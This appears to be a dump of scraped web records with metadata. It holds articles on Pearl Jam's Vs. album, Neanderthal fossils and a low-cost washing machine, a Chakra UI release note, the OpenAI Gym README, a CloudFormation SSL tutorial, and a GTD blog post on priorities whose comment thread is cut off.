newsarticle

boilingsteam.com

Boiling Steam

https://www.loudersound.com/features/in-praise-of-pearl-jam-s-vs

"Get outta my f**kin' face!" How Pearl Jam's furious, confrontational Vs. album saved the band's soul

Paul Brannigan

In the summer of 1993 *Time* magazine approached the management companies looking after Nirvana and Pearl Jam with a proposal to put their artists on the cover of an autumn issue. The magazine was keen to do a feature on the rise of ‘grunge’, the underground musical movement that exploded into the national consciousness from the moment, on January 11, 1992, that Nirvana’s *Nevermind* album toppled Michael Jackson’s *Dangerous* from the top of the US *Billboard* chart. One week earlier, Pearl Jam had scored a minor chart success of their own, when their debut album *Ten* debuted on the *Billboard* 200 album chart at Number 155. This was hardly an achievement to warrant the popping of champagne corks, but it was nonetheless a significant moment for the Seattle band, demonstrating that four months on from its August 27, 1991 release, *Ten* still had legs. A further four months later, *Ten* passed the one million sales mark in America. Then, in August 1992, MTV put Mark Pellington’s haunting video for *Jeremy* – based on the true story of 15-year-old Texan schoolboy Jeremy Wade Delle, who shot himself in front of his teacher and classmates – into rotation. At which point *Ten* began to sell at a rate out-stripping even *Nevermind*. Mobbed whenever they appeared in public – “You couldn’t go anywhere without causing a scene,” recalled bassist Jeff Ament – the young musicians began to fret as to where their spontaneous, unselfconscious debut album might ultimately lead them. In a bid to slow down their dizzying ascent, Pearl Jam refused to let Epic release the ballad *Black* as a single, and asked for a time-out – no more interviews, no more photo shoots, no more videos. But the record's momentum could not be halted. “When our record started to sell too, it was weird, and really stressful,” guitarist Stone Gossard told this writer. “Everybody was insecure and tense, it was such an odd time. “For me personally the stress came from being huge but feeling like you were kinda crap. We couldn’t live up to the bands that we thought were the greatest. I don’t ever remember any thoughts like, ‘Wow, we’ve just made the best album ever.’ I just remember thinking that I was looking forward to making our next one.” “We didn’t expect the record to be a huge deal,” Jeff Ament added. “But I guess it kinda became one.” The release of new albums by both Pearl Jam and Nirvana in October 1993 certainly promised to be a huge deal. Though the two bands were often portrayed as bitter rivals in the media – a situation undoubtedly fuelled by snarky Kurt Cobain comments about what he perceived as Pearl Jam’s lack of punk rock credibility – the camps had recently been reconciled, with Cobain and Pearl Jam frontman Vedder even slow-dancing arm-in-arm at the 1992 MTV Awards: “I probably could have agreed with some of the things he said," Vedder later conceded. “The only thing that bothered me about that [alleged rivalry] was because it was public, and people were reacting to it: it wasn’t like between us. There was a certain writer who pulled a quote of Jeff Ament’s out, and pulled a quote of Kurt’s out, and that made for interesting press. But really, I always felt like it us against the world, our town against the world, not our band against another band.” And so, when they were approached by *Time*, the two groups took a bilateral decision not to participate in the magazine feature. Despite this, when the October 25, 1993 issue of *Time* hit news stands, it was Eddie Vedder’s face staring out from the cover, which hailed “angry young rockers like Pearl Jam” giving voice to “the passions and fears of a generation.” “We’ve been swallowed up by the mainstream,” Vedder lamented. “No-one is going to want to listen to us.” For once, Pearl Jam's thoughtful frontman called this wrong. Pre-production for the band’s second album began in February 1993 in Seattle, switching to California the following month. Eighteen months on the road had solidified a unit which had only been in existence for six months when they recorded *Ten*, and the new songs largely developed from rehearsal room jams. The sound was rawer, looser and more in-your-face, exactly what band leader Gossard - who considered* Ten* “over-thought, over-played and over-rocked” - wanted. Working with producer Brendan O’Brien for the first time, the quintet determined to capture this new-found aggression on the record. With *Vs*. they achieved this and more. From the opening riff of *Go*, the album has a ferocity and bite which leaves the more stately *Ten* in the dust, sounding like the work of a hardcore punk band rather than a classic rock outfit. On *Animal* Vedder established the idea of the quintet as a unit (“*five against one*”) and expressed his growing revulsion with disingenuous media attempts to co-opt his band’s aesthetic and ideas (“*I’d rather be with an animal*”) There’s little let-up on this initial explosion of anger. The seething *Daughter* deals with child abuse, *Glorified G* attacks macho gun culture, *W.M.A.* is a scathing dissection of institutionalised racism and police brutality, while the more tender and melodic *Elderly Woman Behind The Counter In A Small Town* was a meditation upon feelings of entrapment and suffocation, which could be read as a metaphor for the band’s own sense of powerlessness as the machine around them grew. That same notion was made even more explicit on *Leash*, with Vedder singing “*We will find a way, we will find our place*” then screaming “*Get outta my fuckin’ face*.” “*I will stare the sun down until my eyes go blind*,” Vedder adds defiantly on closing track *Indifference*. “*I won’t change direction, and I won’t change my mind*.” Lest anyone was still in any doubt, the title of the album too was a challenge, a declaration of independence and intent from a group hell-bent on self-determination, stubbornly refusing to buy into the game. "For me, that title represented a lot of struggles that you go through trying to make a record," Gossard told *Rolling Stone*. "Your own independence - your own soul - versus everybody else's. In this band, and I think in rock in general the art of compromise is almost as important as the art of individual expression. You might have five great artists in the band, but if they can't compromise and work together, you don't have a great band... When I heard that lyric, it made a lot of sense to me." The group refused to make a single video for the album, and interviews to promote it were vanishingly rare. On the surface this stance didn’t immediately impact upon the band’s popularity - the week after *Time* magazine’s ‘grunge’ special was published, *Vs.*, entered the Billboard chart at number 1, selling some 950, 378 copies in its first five days on sale, a sales record that would not be topped for five years. But in wilfully taking a stand against the commercial forces of MTV, the mass media and, indeed, their own record label’s marketing plans, Pearl Jam would ultimately save their souls and ensure their continued relevance as a band. An upraised middle finger of a record, *Vs.* still sounds as fierce and visceral today.

Released on October 19, 1993, Pearl's Jam's fierce, combative second album Vs. is the sound of a band lashing out at... everything

2024-10-12 00:00:00

2022-10-19 00:00:00

article

loudersound.com

Louder

http://www.centernetworks.com/youtube-down

http://swtch.com/~rsc/talks/group05-venti.pdf

http://blog.guykawasaki.com/2007/06/482413_for_lega.html

https://oyestartups.com/interviews/zapier-certified-expert-story-of-luhhu

2024-10-12 00:00:00

https://github.com/chakra-ui/chakra-ui/releases/tag/%40chakra-ui%2Freact%401.0.0

Release Chakra UI React - V1 · chakra-ui/chakra-ui

Chakra-Ui

# Chakra UI React - V1 With so much pride, excitement, and joy, we're happy to finally release Chakra UI V1. Here are some highlights ✨: ⚛️ Add support for React 17 and Emotion 11 by @segunadebayo . We upgraded React to use the latest versions so you can be sure that Chakra UI works correctly. 🎨 Component Theming API by @segunadebayo @with-heart Chakra UI now provides a new theming API which makes it easy to style components and their modifiers (sizes, variants, and color scheme) from your theme. 🌓 Color mode improvement by @ljosberinn @segunadebayo We've fixed the bugs related to Color mode and made it possible to persist color mode, set initial color mode, and lock specific components to a certain color mode. ⚡️ Better TypeScript support by @segunadebayo This means all components have very good TypeScript support and most low-level components like `Box` , `Flex` will support the `as` prop and types will be extracted properly. 🚀 Theme-aware `sx` prop by @segunadebayo Just like `theme-ui` , we've added support for the `sx` prop to help you add theme-aware styles directly on any Chakra component. This is useful if you're not a fan of style props, and prefer passing all styles in one object. ``` <Box as="button" sx={{ bg: "green.300" }}> Click me </Box> ``` 🧩 Chakra Factory & Elements by @segunadebayo @codebender828 Chakra factory serves as an **object of chakra enabled JSX elements**, and also **a function that can be used to enable custom component** receive chakra's style props. Here's an example: ``` <chakra.button px="3" py="2" bg="green.200" rounded="md" _hover={{ bg: "green.300" }} > Click me </chakra.button> ``` And many more 🐛 bug fixes and 📚 documentation improvements. Big thanks to 40+ contributors who made this release possible. While all contributions are appreciated, I'd like to recognize the efforts of these folks who've put their all during the v1 development process: - Mark Chandler @with-heart - Gerrit Alex @ljosberinn - Jason @jmiazga - Tim Kolberger @TimKolberger - Ifeoma Imoh @ifeoma-imoh - Folasade Agbaje @estheragbaje - Kolawole Tioluwani @tioluwani94 - Jonathan Bakebwa @codebender828

With so much pride, excitement, and joy, we're happy to finally release Chakra UI V1. Here are some highlights ✨: ⚛️ Add support for React 17 and Emotion 11 by @segunadebayo . We upgraded React to...

2024-10-12 00:00:00

2020-11-13 00:00:00

https://opengraph.githubassets.com/0e9a7ecb102ecb70f577305fcce8d0f5fdcebfe689bb1020e3eb2e83a0daa986/chakra-ui/chakra-ui/releases/tag/%40chakra-ui/react%401.0.0

object

GitHub

http://devblog.ailon.org/devblog/post/2012/07/05/Is-Silicon-Valley-Thinking-Too-Big.aspx

https://github.com/openai/gym

GitHub - openai/gym: A toolkit for developing and comparing reinforcement learning algorithms.

Openai

### The team that has been maintaining Gym since 2021 has moved all future development to Gymnasium, a drop in replacement for Gym (import gymnasium as gym), and Gym will not be receiving any future updates. Please switch over to Gymnasium as soon as you're able to do so. If you'd like to read more about the story behind this switch, please check out this blog post. Gym is an open source Python library for developing and comparing reinforcement learning algorithms by providing a standard API to communicate between learning algorithms and environments, as well as a standard set of environments compliant with that API. Since its release, Gym's API has become the field standard for doing this. Gym documentation website is at https://www.gymlibrary.dev/, and you can propose fixes and changes to it here. Gym also has a discord server for development purposes that you can join here: https://discord.gg/nHg2JRN489 To install the base Gym library, use `pip install gym` . This does not include dependencies for all families of environments (there's a massive number, and some can be problematic to install on certain systems). You can install these dependencies for one family like `pip install gym[atari]` or use `pip install gym[all]` to install all dependencies. We support Python 3.7, 3.8, 3.9 and 3.10 on Linux and macOS. We will accept PRs related to Windows, but do not officially support it. The Gym API's API models environments as simple Python `env` classes. Creating environment instances and interacting with them is very simple- here's an example using the "CartPole-v1" environment: ``` import gym env = gym.make("CartPole-v1") observation, info = env.reset(seed=42) for _ in range(1000): action = env.action_space.sample() observation, reward, terminated, truncated, info = env.step(action) if terminated or truncated: observation, info = env.reset() env.close() ``` Please note that this is an incomplete list, and just includes libraries that the maintainers most commonly point newcommers to when asked for recommendations. - CleanRL is a learning library based on the Gym API. It is designed to cater to newer people in the field and provides very good reference implementations. - Tianshou is a learning library that's geared towards very experienced users and is design to allow for ease in complex algorithm modifications. - RLlib is a learning library that allows for distributed training and inferencing and supports an extraordinarily large number of features throughout the reinforcement learning space. - PettingZoo is like Gym, but for environments with multiple agents. Gym keeps strict versioning for reproducibility reasons. All environments end in a suffix like "_v0". When changes are made to environments that might impact learning results, the number is increased by one to prevent potential confusion. The latest "_v4" and future versions of the MuJoCo environments will no longer depend on `mujoco-py` . Instead `mujoco` will be the required dependency for future gym MuJoCo environment versions. Old gym MuJoCo environment versions that depend on `mujoco-py` will still be kept but unmaintained. To install the dependencies for the latest gym MuJoCo environments use `pip install gym[mujoco]` . Dependencies for old MuJoCo environments can still be installed by `pip install gym[mujoco_py]` . A whitepaper from when Gym just came out is available https://arxiv.org/pdf/1606.01540, and can be cited with the following bibtex entry: ``` @misc{1606.01540, Author = {Greg Brockman and Vicki Cheung and Ludwig Pettersson and Jonas Schneider and John Schulman and Jie Tang and Wojciech Zaremba}, Title = {OpenAI Gym}, Year = {2016}, Eprint = {arXiv:1606.01540}, } ``` There used to be release notes for all the new Gym versions here. New release notes are being moved to releases page on GitHub, like most other libraries do. Old notes can be viewed here.

A toolkit for developing and comparing reinforcement learning algorithms. - openai/gym

2024-10-12 00:00:00

2016-04-27 00:00:00

https://opengraph.githubassets.com/712e98574741f5fed49f22f978d972eedc2bd5c35baa1446c8b57995711583a2/openai/gym

object

github.com

GitHub

https://www.bbc.com/news/science-environment-60305218

Neanderthal extinction not caused by brutal wipe out

Pallab Ghosh

# Neanderthal extinction not caused by brutal wipe out **New fossils are challenging ideas that modern humans wiped out Neanderthals soon after arriving from Africa.** A discovery of a child's tooth and stone tools in a cave in southern France suggests *Homo sapiens* was in western Europe about 54,000 years ago. That is several thousands of years earlier than previously thought, indicating that the two species could have coexisted for long periods. The research has been published in the journal Science Advances. The finds were discovered in a cave, known as Grotte Mandrin in the Rhone Valley, by a team led by Prof Ludovic Slimak of the University of Toulouse. He was astonished when he learned that there was evidence of an early modern human settlement. "We are now able to demonstrate that *Homo sapiens* arrived 12,000 years before we expected, and this population was then replaced after that by other Neanderthal populations. And this literally rewrites all our books of history." The Neanderthals emerged in Europe as far back as 400,000 years ago. The current theory suggests that they went extinct about 40,000 years ago, not long after* Homo sapiens* arrived on the continent from Africa. But the new discovery suggests that our species arrived much earlier and that the two species could have coexisted in Europe for more than 10,000 years before the Neanderthals went extinct. According to Prof Chris Stringer, of the Natural History Museum in London, this challenges the current view, which is that our species quickly overwhelmed the Neanderthals. "It wasn't an overnight takeover by modern humans," he told BBC News. "Sometimes Neanderthals had the advantage, sometimes modern humans had the advantage, so it was more finely balanced." Archaeologists found fossil evidence from several layers at the site. The lower they dug, the further back in time they were able to see. The lowest layers showed the remains of Neanderthals who occupied the area for about 20,000 years. But to their complete surprise, the team found a modern human child's tooth in a layer dating back to about 54,000 years ago, along with some stone tools made in a way that was not associated with Neanderthals. The evidence suggests that this early group of humans lived at the site for a relatively brief period, of perhaps about 2,000 years after which the site was unoccupied. The Neanderthals then return, occupying the site for several more thousand years, until modern humans come back about 44,000 years ago. ''We have this ebb and flow,'' says Prof Stringer. ''The modern humans appear briefly, then there's a gap where maybe the climate just finished them off and then the Neanderthals come back again.'' Another key finding was the association of the stone tools found in the same layer as the child's tooth with modern humans. Tools made in the same way had been found in a few other sites - in the Rhone valley and also in Lebanon, but up until now scientists were not certain which species of humans made them. Some of the researchers speculate that some of the smaller tools might be arrow heads. If confirmed, that would be quite a discovery: an early group of modern humans using the advanced weaponry of bows and arrows, which may have been how the group initially overcame the Neanderthals 54,000 years ago. But if that were the case, it was a temporary advantage, because the Neanderthals came back. So, if it wasn't a case of our species wiping them out immediately, what was it that eventually gave us the advantage? Many ideas have been put forward by scientists: our capacity to produce art, language and possibly a better brain. But Prof Stringer believes it was because we were more organised. "We were networking better, our social groups were larger, we were storing knowledge better and we built on that knowledge," he said. The idea of a prolonged interaction with Neanderthals fits in with the discovery made in 2010 that modern humans have a small amount of Neanderthal DNA, indicating that the two species interbred, according to Prof Stringer. "We don't know if it was peacefully exchanges of partners. It might have been grabbing, you know, a female from another group. It might have been even adopting abandoned or lost Neanderthal babies who had been orphaned," he said. "All of those things could have happened. So we don't know the full story yet. But with more data and with more DNA, more discoveries, we will get closer to the truth about what really happened at the end of the Neanderthal era." Follow Pallab on Twitter

New fossils challenge ideas that modern humans wiped out Neanderthals after arriving from Africa.

2024-10-12 00:00:00

2022-02-09 00:00:00

reportagenewsarticle

bbc.com

BBC News

https://www.bbc.co.uk/news/uk-england-somerset-58083385

First batch of student's washing machines shipped to Iraq

# First batch of student's washing machines shipped to Iraq - Published **The first batch of 30 hand-cranked washing machines, invented by a student for those living in poverty, has been sent to a camp in northern Iraq.** Former University of Bath student, Navjot Sawhney, set up the Washing Machine Project in 2018 after being inspired by a salad spinner. Since then volunteers and businesses have given their time for free to help make the low-cost machines. Mr Sawhney said he was "so proud" of what had been achieved. He said up to 70% of the world's population do not have access to electric washing machines. Working with humanitarian charity Care International he is now aiming to deliver 7,500 of his manual washer and dryers to those most in need in 10 countries including Lebanon, Kenya and India over the next three years. Mr Sawhney came up with the idea after quitting his engineering job in Wiltshire to volunteer in India, where he saw the struggle of his next-door neighbour - a woman called Divya. "It was through the frustration of seeing her daily struggles, hand washing her and her family's clothes, that I promised her a manual washing machine," he said. Named the Divya, in her honour, the "robust, simple to use and easily repairable" machine has been tested in countries around the world. Mr Sawhney said the reaction has been "phenomenal". "Hand washing clothes is very time consuming, and nobody likes hand washing their clothes, so as a problem everybody understands it," he said. "We've been so lucky. We've had universities, companies and people who just want to give up their time, and that's such a humbling thought for me." Among those helping out is a Bristol design and fabrication firm, Huxlo, which makes all of the PVC and wooden parts. "We gave up our time to make this happen, because it's a really worthwhile project," said Matt Mew, from Huxlo. "It's super rewarding to see this go from just a sketch to an actual product going out and helping people." The University of Bath, where Mr Sawhney studied, has also helped turn his designs into reality. "We've been able to throw some ideas back to him [Mr Sawhney] and very quickly come up with some solutions," said university technician Owen Rutter. Mr Sawhney, said he will be heading to Iraq at the beginning of September to help distribute the machines. *Follow BBC West on *Facebook, external*, *Twitter, external* and *Instagram, external*. Send your story ideas to: *bristol@bbc.co.uk , external ## Related topics - Published24 April 2021 - Published23 December 2019 - Published30 November 2016

Inspired by a salad spinner, Navjot Sawhney invented the hand-cranked washer four years ago.

2024-10-12 00:00:00

2021-08-13 00:00:00

article

bbc.com

BBC News

https://serverlesscode.com/post/acm-certificates-in-cloudformation/

CloudFormation to Build a CDN With (Free) Custom SSL

Ryan S Brown

Recently, Amazon announced free SSL certs via AWS Certificate Manager, or ACM. This week, we’ll use CloudFormation to provision ACM certificates automatically. I built my own custom ACM resource in Python. With this resource, you can configure a CloudFront distribution for your static content and get a custom SSL for your domain. In this post, we’ll use custom resources to issue an ACM certificate, then associate that certificate to a CloudFront distribution. ## Issuing a Certificate We’ll start with the template from this post that already issues SSL certificates with ACM and build up from there. For an more about that template, go to the post on making custom resources or launch it . It already creates the function and ACM certificate custom resource like so: ``` "AcmCertificate": { "Type": "Custom::AcmCertificate", "Properties": { "Domains": { "Ref": "Domains" }, "ServiceToken": { "Fn::GetAtt": [ "AcmRegistrationFunction", "Arn" ] }, "Await": true } } ``` We’ll have to add a CloudFront distribution, for testing we’ll just point it at the S3 bucket for my personal website. Of course, you’ll want to substitute in your own origin. ``` "SiteCDN": { "Type": "AWS::CloudFront::Distribution", "Description": "CDN for site content", "Properties": { "DistributionConfig": { "DefaultCacheBehavior": { "ViewerProtocolPolicy": "allow-all", "ForwardedValues": { "QueryString": true }, "TargetOriginId": "static-site-origin", "MinTTL": 300 }, "Origins": [ { "DomainName": "rsb.io.s3-website-us-east-1.amazonaws.com", "Id": "static-site-origin", "CustomOriginConfig": { "OriginProtocolPolicy": "http-only", "HTTPPort": 80, "HTTPSPort": 443 } } ], "PriceClass": "PriceClass_100", "DefaultRootObject": "index.html", "Enabled": true, "Aliases": { "Ref": "Domains" } } } } ``` You’ll notice that this resource doesn’t make use of the ACM certificate. The reason it can’t is because the CloudFormation resource only allows IAM certificates even though ACM certificates are available in the CloudFront API. To get around this, I built the `Custom::CloudFrontAcmAssociation` resource that takes a distribution and an ACM certificate and sets it up with CloudFront. We can associate the two like so: ``` "DistributionCertificateSetting": { "Type": "Custom::CloudFrontAcmAssociation", "Properties": { "DistributionId": { "Ref": "SiteCDN" }, "CertificateArn": { "Ref": "AcmCertificate" }, "ServiceToken": { "Fn::GetAtt": [ "AcmAssociationFunction", "Arn" ] } } }, ``` To launch this stack, click here: Launching the stack will take some time - it can take up to 30 minutes for the CloudFront distribution to be created. You should receive an email to your domain administration email asking you to confirm the certificate, click through that as soon as possible. The full template is available here if you want to review it. ## What’s Under the Hood While we’re waiting, let’s look at how these resources work. The code for all these resources is on Github at ryansb/acm-certs-cloudformation. For issuing ACM certificates, we need a `CREATE` method that takes the parameters we specified earlier. ``` @handler.create def create_cert(event, context): # get the properties set in the CloudFormation resource props = event['ResourceProperties'] domains = props['Domains'] # list of domain names # take a hash of the Stack & resource ID to make a request token id_token = hashlib.md5('cfn-{StackId}-{LogicalResourceId}'.format( **event)).hexdigest() ``` This part of the code is what generates the `IdempotencyToken` needed by the ACM API to deduplicate requests. This token is unique per stack/resource combination, so if for some reason the request is sent twice for the same resource, two certificates aren’t issued. To make the token unique, we take the hash of the (globally unique) Stack ID and the (unique within a stack) logical ID of the resource. This way we know for a fact that there won’t be duplicates. ``` kwargs = { 'DomainName': domains[0], # the idempotency token length limit is 31 characters 'IdempotencyToken': id_token[:30] } if len(domains) > 1: # add alternative names if the user wants more names # wildcards are allowed kwargs['SubjectAlternativeNames'] = domains[1:] if props.get('ValidationOptions'): """ List of domain validation options. Looks like: { "DomainName": "test.foo.com", "ValidationDomain": "foo.com", } """ kwargs['DomainValidationOptions'] = props.get('ValidationOptions') # here we actually make the request response = acm.request_certificate(**kwargs) if props.get('Await', False): await_validation(domains[0], context) return { 'Status': 'SUCCESS', 'Reason': 'Cert request created successfully', 'PhysicalResourceId': response['CertificateArn'], 'Data': {}, } ``` **Full code here** With that, we’ve succeeded in creating a request for a certificate. To wait for it, we’ll need to add an `await_validation` method that checks to see if the certificate is issued. ``` def await_validation(domain, context): # as long as we have at least 10 seconds left while context.get_remaining_time_in_millis() > 10000: time.sleep(5) resp = acm.list_certificates(CertificateStatuses=['ISSUED']) if any(cert['DomainName'] == domain for cert in resp['CertificateSummaryList']): cert_info = [cert for cert in resp['CertificateSummaryList'] if cert['DomainName'] == domain][0] log.info("Certificate has been issued for domain %s, ARN: %s" % (domain, cert_info['CertificateArn'])) return cert_info['CertificateArn'] log.info("Awaiting cert for domain %s" % domain) log.warning("Timed out waiting for cert for domain %s" % domain) ``` This method uses the context object to see how much execution time we have left. If there’s still time, it will wait a bit and check if the certificate is ready yet. We only use this method if the user set `"Await": true` , otherwise we just issue the request for the certificate and return `SUCCESS` . Deletion is even simpler, because there’s nothing to check. When creating the certificate we tell CloudFormation the ARN of the certificate, and it sends it with the `DELETE` request. We just need to use the `PhysicalResourceId` where the ARN is saved to delete the certificate. ``` @handler.delete def delete_certificate(event, context): resp = {'Status': 'SUCCESS', 'PhysicalResourceId': event['PhysicalResourceId'], 'Data': {}, } try: acm.delete_certificate(CertificateArn=event['PhysicalResourceId']) except: log.exception('Failure deleting cert with arn %s' % event['PhysicalResourceId']) resp['Reason'] = 'Some exception was raised while deleting the cert' return resp ``` That’s about it for the Python to handle the creating/deleting ACM certificates. What about associating them with CloudFront distributions? ``` def create_cert_association(event, context): props = event['ResourceProperties'] cert_arn = props['CertificateArn'] dist_id = props['DistributionId'] response = cloudfront.get_distribution_config(Id=dist_id) config = response['DistributionConfig'] # we need to send the ETag of the configuration back with our change # request to make sure there isn't a config change we missed etag = response['ETag'] reason = '' if config.get('ViewerCertificate') is None: return { 'Status': 'FAILED', 'Reason': 'No viewercert configuration', 'Data': {} } elif config['ViewerCertificate'].get('CertificateSource', '') == 'acm': if config['ViewerCertificate']['Certificate'] == cert_arn: log.debug('Already configured - nothing to do') reason = 'Already connected, easy!' else: associate_cert(cert_arn, dist_id, config, etag) reason = 'Changed ACM cert ID' else: associate_cert(cert_arn, dist_id, config, etag) reason = 'Associated ACM cert' return { 'Status': 'SUCCESS', 'Reason': reason, 'PhysicalResourceId': generate_phys_id(cert_arn, dist_id), 'Data': {}, } ``` **Full code is here** Now that we’ve seen how the associations work, and how the cert is issued, let’s check back in the CloudFormation console to see if the stack is done yet. ## Wrapping Up Now we need to check if the certificate works. If you don’t want to set your DNS to point to CloudFront, you can use the `--resolve` option with `curl` to fake it locally for testing. ``` $ curl -v -s --resolve yourdomain.com:443:$(dig +short A [cloudfront name] | head -n1) https://yourdomain.com >/dev/null ``` You’ll need to fill in `[cloudfront name]` to be the DNS name of the CloudFront distribution. you can get this from the CloudFront web console. For me (using `serverlesscode.com` ), the output looks like this: ``` * Trying 52.84.29.120... * Connected to serverlesscode.com (52.84.29.120) port 443 (#0) * Initializing NSS with certpath: sql:/etc/pki/nssdb * CAfile: /etc/pki/tls/certs/ca-bundle.crt CApath: none * SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 * Server certificate: * subject: CN=serverlesscode.com * start date: Jan 21 00:00:00 2016 GMT * expire date: Feb 21 12:00:00 2017 GMT * common name: serverlesscode.com * issuer: CN=Amazon,OU=Server CA 1B,O=Amazon,C=US ``` As you can see, the certificate is the Amazon-issued ACM cert, and is accepted by just about every OS. Congratulations! Now you’re set up with free SSL and a great CDN, all from one CloudFormation stack. Keep up with future posts via RSS. If you have suggestions, questions, or comments my email is ryan@serverlesscode.com.

2024-10-12 00:00:00

2016-02-01 00:00:00

https://gettingthingsdone.com/2018/03/priorities-and-gtd/

Priorities and GTD

GTD Times Staff

## Challenges with priorities and GTD **A GTD Connect member asked:** I am having a challenge understanding priorities and GTD. I have at least 100 projects, from LARGE to little. Now you break down those projects to single actions which at least triples your actions. So I might have about 300 single actions to be done. Wouldn’t the first thing to do be according to priority? The LARGEST and Loudest? The one that is going to give you the largest return, like not get fired on the job? I’m still working on perspective, because I know that has a lot to do with it. But I just wanted a little help on the day-to-day, minute-by-minute tactical level. ## How to decide what to do **GTD Coach Kelly Forrister responded:** 1/ **Context** is first since it will always be required to do what you want to do. For example, if your computer is required to write an email, but you don’t have it with you, then you can’t take that action. If being @Home is required to mow your lawn, but you’re not home, you can’t take that action. 2/ **Time available** is also a limitation in that if you don’t have the time to take an action, it won’t matter if it’s high priority or not. If you only have ten minutes, but you need an hour to take an action, that will eliminate some choices. 3/ **Resources** will make a difference in terms of what you have the energy and resources to do. If your brain is toast, good chance you won’t want to do that high priority thing anyway, since you won’t have the mental horsepower for it. Ever have that feeling that your brain works better/worse at different times of the day? That’s resources. You will naturally make different choices. 4/ When the first three limitations have narrowed down your choices, then it’s time for strategic thinking: **priority**. What will give you the biggest payoff to do in this moment? Maybe in one moment that’s doing what prevents getting fired and in another doing what makes you the most money. And the next day it might be what will make your boss happy and the next what will make your spouse or partner happy. ## Two questions that can help clarify priority - What’s the value in getting this done? - What’s the risk if I don’t? If you aren’t crystal clear on your priorities, climb up the Horizons of Focus, especially to Areas of Focus to know what you are actually responsible for personally and professionally. Many times people will do that and realize they have things on their projects and next actions lists that are not really their job. If you are not sure what your areas are (most people have 5–7 personally and 5–7 professionally) then maybe it’s time for some updates on that with people you think can help you get clear on that. And, don’t underestimate what fully capturing, clarifying, and organizing will do. Only when those are really complete will you fully trust your intuitive choices about what to do. Otherwise, you’ll have that nagging sense you’re missing something that might be more important. I empathize with that GTD Connect member, and have a bit to say about it… I understand needing a method to select the appropriate action to do from a large list of actions, but in my mind, GTD treats this process too statically in the name of simplicity: always start with context, then time available, then energy available, then priority. In the real world, both context and time available can be changed in order to accommodate the execution of high priority actions. Not only that, but an action’s priority is often very dynamic. In my experience, if an action’s priority is high enough, it might be the most important attribute to consider. You can often change your context and sometimes even your time available. With a good shot of espresso, energy available can be changed too 🙂 Let’s say your context is currently Home, any you have an action that requires you to be at the office. GTD says “don’t even look at the actions on the @Office context list because you can’t do them when you’re not at the office!” Had you looked on your @Office list and realized that there is a high priority action, you might decide, “I need to go into the office (change your context) to do this action!”. Sometimes, priority can trump all other things when deciding what to do! Another example: let’s say you have a high priority action that requires a computer or a phone, but those contexts aren’t available. GTD says “don’t bother looking at actions on the @computer or @phone lists when you’re not in those contexts, because YOU CAN’T DO THEM!”. In the real world, you change your context if the priority of an action is high enough — when you have a high priority action that requires a phone or computer and you don’t have them, you get to a phone or computer to do that action (change your context). Again, in this example, priority trumps context. Also, Time Available seems too rigid as well. Let’s say I have 30 minutes until a meeting, and I have an important action that will take me an hour. GTD says “I can’t do this action, since there’s not enough time!”. Perhaps that’s too restrictive. For example, maybe you should finish 30 minutes of that 60-minute action, because the priority makes it the most important thing right now. Or, maybe you skip that meeting to do the action, or maybe you ask to reschedule the meeting, etc. Here, priority trumps time available. Same thing with energy available. You’re tired, and don’t have much energy. However, you have a high priority action that requires lots of energy. GTD says “I can’t do this action because I don’t have enough energy available!” In the real world, sometimes (if not often), you have to do things that you don’t have the energy to do. Here, priority trumps energy available. Or, you change your energy available with a couple of strong cups of coffee 🙂 The bottom line is that GTD appears to under-emphasize the importance of considering priority when choosing what action you should be doing. While this makes it easier to define this process in GTD (easier to communicate the process to readers), it also creates a disconnect with how people operate (and should operate) in the real world. Just my two cents, but seems like an adjustment that GTD could make to be less idealistic and more realistic about how to choose what to do (or adjustments you can make to be more “available” to do something important). Rob I really like your comments, Rob. I resolve some of these issues by creating time blocks on my calendar for projects and major tasks that I consider high priority, regardless of context. As you stated, I will make sure that when that time block arrives, I have everything — the appropriate tools — to be able to execute on that project of task. Rob, You make many excellent points about the importance of priority when choosing what to do now. In my opinion, priority is difficult to track because it is subject to change, whereas context usually is not. What seemed most important yesterday might not still be most important today. What required a phone yesterday probably still requires a phone today. Further, if I am on an airplane and want to be productive, I really don’t need to look at my @calls list, because that just isn’t an option until we land no matter how high of a priority I think a particular call is. I keep my lists in Outlook Tasks and have a !Today category that self sorts to the top. I apply this category to high-priority tasks that need to get done today, in addition to the category of whatever context I applied when I entered that particular next action into my system, so it shows up on both lists. If something is no longer a !Today level priority but still needs to get done eventually, I remove the !Today tag and it stays in the original context list. I agree with you that we shouldn’t get too rigid about choosing from contexts as they are often (but not always), flexible given the importance of a competing priority. Intuitive decision making based on a relatively recent, “weekly” review of all lists should take priority over contexts whenever possible. Thanks, Nate Hi Rob, Your wrote>> The bottom line is that GTD appears to under-emphasize the importance of considering priority when choosing what action you should be doing My thoughts>> Thanks for sharing your experience. Actually, something to consider is that priority comes in even sooner in your decision making, during the clarifying stage. That’s truly when you’re deciding the priority to take it on, when you ask, “Is it actionable?”. So priority isn’t just after it’s on your list and you’re choosing what to engage in. It actually comes in much earlier in the process as a first cut, when you decide what you’re going to do about it. And, there are plenty of times when context, time available, and resources are ALL available (or easily changeable as you say), and then priority is your best approach. Best of luck to you in your GTD journey. Cheers, Kelly Hi Kelly, Thanks for your reply. I’ve listened to the GTD audio book at least 5 times, and I always have trouble listening to the part where David talks about how one should approach deciding what to do. It is made very clear: you ALWAYS consider context first… and should ALWAYS consider priority last… no flexibility. I think one of the problems is that an action’s priority is not formally tracked in GTD… perhaps because it is so dynamic, and because it is relative to other actions being tracked. For that matter, the time and energy required to do an action are also not formally tracked in GTD. Yet, each time we need to decide what to do (by reviewing actions in a context list), we must determine these things again and again. This seems redundant, since the time and energy required don’t change each time you review that action. Maybe the reason these things aren’t tracked in GTD is because they would make GTD become too “heavy”, where the process becomes tedious? However, what if an action’s priority WERE tracked in GTD? Would it be valuable for one to review a list of ones highest priority actions (independent from context)? I personally think this would be extremely valuable! I’d have less stress wondering whether my focus is on the most important actions. GTD emphasizes the importance of getting things out of your head; however, if I’m always concerned that I’m not working on the most important things (because my system doesn’t offer an easy way to identify them), then I will trust my system less. This has been one of the biggest hindrances to my becoming fully engaged in GTD, and I’m hoping to find a solution because I really do recognize the great power it offers. Rob Kelly, Would you please elaborate on how you might treat a high-priority next action or project differently when clarifying and organizing vs. low priority ones? It would be nice if medium and low-priority projects could all get relegated to someday/maybe, but they may become high priority and need to be addressed before my next weekly review. I know that David says that when you really mature your thinking, everything you aren’t doing this very minute is a someday/maybe. Clearly my thinking has room for growth 🙂 Thanks, Nate Hi Nate! Happy to elaborate more. You asked:Would you please elaborate on how you might treat a high-priority next action or project 